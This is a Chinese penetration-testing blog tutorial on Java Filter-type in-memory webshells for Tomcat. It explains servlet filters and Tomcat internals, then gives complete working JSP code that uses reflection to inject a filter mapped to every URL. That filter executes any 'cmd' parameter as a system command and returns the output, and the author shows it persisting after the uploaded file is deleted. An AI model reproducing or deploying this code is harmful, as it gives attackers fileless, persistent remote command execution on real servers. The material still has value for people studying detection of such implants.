1. 首页
  2. 渗透测试

Java Filter型内存马入门 – Tomcat JSP内存马为例

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

文章首发于:

火线Zone社区(https://zone.huoxian.cn/)

内存马是什么

顾名思义,就是运行在内存中的木马。跟传统的webshell相比,没有实体文件。

个人总结是利用漏洞或上传解析的方式添加的恶意路由,只要能成功添加,那么这个路由的数据处理逻辑是我们可以自定义的。

例如:/cmd路由->get(post)获取参数cmd->eval或者exec(cmd),就能成为一个无文件的webshell,也就是内存马。

Java Filter型内存马入门 - Tomcat JSP内存马为例

今天我就以JavaWeb 中的 Tomcat 容器的内存马为例,由浅至深带大家入门,并带大家手写一个内存马。这个内存马是看的风轩师傅的,网上一查就有。不过我看是适配linux的,所以改写成了适配windows的。

就像上面所说的,我就以 JavaWeb 、Tomcat 、实际编写,这个顺序一点一点说。因为是简单的不涉及框架的基础web程序,所以不会涉及MVC,微服务之类。大佬们就当是对旧时代的缅怀吧。别喷我了,我很菜。

Filter

首先我们需要了解web应用程序是怎么运行的。以JavaWeb为例,基础的web应用程序至少有以下几个重要组件:

Servlet,Filter,Linstener

其中的关系在下面图中web应用方框里:

Java Filter型内存马入门 - Tomcat JSP内存马为例

因为今天要讲的是filter型内存马。所以先重点讲下filter(过滤器)。想了解其他两个的可以去B站搜楠哥看他的JavaWeb系列视频。还是很好的,句句都是干货。

Filter

过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,一般用来过滤数据。

通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

创建一个filter需要先创建类文件,实现Filter接口:

Java Filter型内存马入门 - Tomcat JSP内存马为例

再将filter配置进web.xml

Java Filter型内存马入门 - Tomcat JSP内存马为例

编译,运行后就可以访问filter

Java Filter型内存马入门 - Tomcat JSP内存马为例

当然,在正常业务中Filter大部分用作公共代码的提取,可以对request和response中的方法进行增强(装饰者模式/动态代理),或者进行权限控制,数据过滤等。其他主要业务功能还得servlet来控制。

而且web应用程序都是已经编译好了正在运行中的。也就是java中常说的运行时状态。不会给我们重启,再编译的机会。所以接下来就要讲到Tomcat了。

Tomcat

Tomcat 是一个免费的、开源的、轻量级的 Web 应用服务器。适合在并发量不是很高的中小企业项目中使用。Tomcat 的核心功能有两个,分别是负责接收和反馈外部请求的连接器 Connector,和负责处理请求的容器 Container。

其中连接器和容器相辅相成,一起构成了基本的 web 服务 Service。每个 Tomcat 服务器可以管理多个 Service。我们今天要利用到Tomcat中的catalina.jar与tomcat-util-scan.jar包。

catalina.jar包中如下四个类能引用运行时的web应用、应用程序上下文、应用程序filter配置、容器对象上下文等等。

Java Filter型内存马入门 - Tomcat JSP内存马为例

tomcat-util-scan.jar包中的如下两个类能给予我们动态定义初始化filter,添加映射关系的方法。

Java Filter型内存马入门 - Tomcat JSP内存马为例

JSP内存马编写

有了以上的基础概念就可以开始写JSP内存马了。

首先,导入相关包,类

Java Filter型内存马入门 - Tomcat JSP内存马为例

先从运行时的上下文获取filterConfigs。也就是通过反射读取web应用程序目前的filter配置。

整个流程是从全局servlet上下文 — > 当前web应用上下文 — > 当前路径默认的上下文 –> 获取配置 –> 获取filter配置。

Java Filter型内存马入门 - Tomcat JSP内存马为例

然后按filter名查看我们要注入的filter是否存在

Java Filter型内存马入门 - Tomcat JSP内存马为例

不存在的话,就创建我们的恶意filter。(里头的恶意代码最后全部代码里有,截图截不全)。注意doFilter最后写上filterChain.doFilter方法,交给下一个过滤器或servlet处理。不然会报错。

Java Filter型内存马入门 - Tomcat JSP内存马为例

最后进行配置

Java Filter型内存马入门 - Tomcat JSP内存马为例

绿框中是添加进当前应用上下文的filter配置里。

到此为止,我们的filter型内存马就写完了。只要上传到目标服务器,访问解析一下,即可添加恶意filter。下面是演示截图。

Java Filter型内存马入门 - Tomcat JSP内存马为例

可以看见当前是没有cmd这个参数相关的filter去处理我的ipconfig命令的。

然后我们访问,让服务器解析一下我们注入恶意内存马的jsp。

Java Filter型内存马入门 - Tomcat JSP内存马为例

注入成功后,再尝试一下

Java Filter型内存马入门 - Tomcat JSP内存马为例

成功注入内存马,然后我们将服服务器的恶意jsp删掉。

Java Filter型内存马入门 - Tomcat JSP内存马为例

再访问我们的内存马

Java Filter型内存马入门 - Tomcat JSP内存马为例

成功~~

回顾感受

  1. 我是新手,球球别喷。

  2. 引用一句话。“一个好的黑客,必须要懂编程”- – 尹毅《代码审计 企业级Web代码安全架构》

  3. javase的要好好学习。尤其是反射。可以看到我们大多数情况下写的都是运行时的代码,不会反射简直寸步难行。

最后推一下我们团队博客 meta-sec
http://www.meta-sec.top/

全篇代码

<%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.Map" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%    final String name = "taamr"; //Filter过滤器名字    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");    appctx.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");    stdctx.setAccessible(true);    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");    Configs.setAccessible(true);    Map filterConfigs = (Map) Configs.get(standardContext);
    if (filterConfigs.get(name) == null){        Filter filter = new Filter() {            @Override            public void init(FilterConfig filterConfig) throws ServletException {
            }
            @Override            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                HttpServletRequest req = (HttpServletRequest) servletRequest;                if (req.getParameter("cmd") != null){                    Process process = null;                    BufferedReader bufferedReader = null;                    BufferedReader bufferedReaderError = null;                    StringBuilder result = new StringBuilder();                    String line ;                    try {                        process = (Process) Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),request.getParameter("cmd"));                        process.waitFor();                        bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));                        bufferedReaderError = new BufferedReader(new InputStreamReader(process.getErrorStream(),"GBK"));                        while ((line=bufferedReader.readLine())!=null){                            result.append(line).append("n");                        }                        while ((line = bufferedReaderError.readLine()) != null) {                            result.append(line).append('n');                        }                        servletResponse.setContentType("application/json;charset=UTF-8");                        servletResponse.getWriter().write(result.toString());                    } catch (Exception e) {                        e.printStackTrace();                    }finally {                        bufferedReader.close();                        bufferedReaderError.close();                        process.destroy();                    }                    return;                }                filterChain.doFilter(servletRequest,servletResponse);            }
            @Override            public void destroy() {
            }
        };

        FilterDef filterDef = new FilterDef();        filterDef.setFilter(filter);        filterDef.setFilterName(name);        filterDef.setFilterClass(filter.getClass().getName());        standardContext.addFilterDef(filterDef);        FilterMap filterMap = new FilterMap();        filterMap.addURLPattern("/*");        filterMap.setFilterName(name);        filterMap.setDispatcher(DispatcherType.REQUEST.name());        standardContext.addFilterMapBefore(filterMap);        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);        constructor.setAccessible(true);        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);        filterConfigs.put(name,filterConfig);        out.print("注入成功");    }%>

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/3549.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息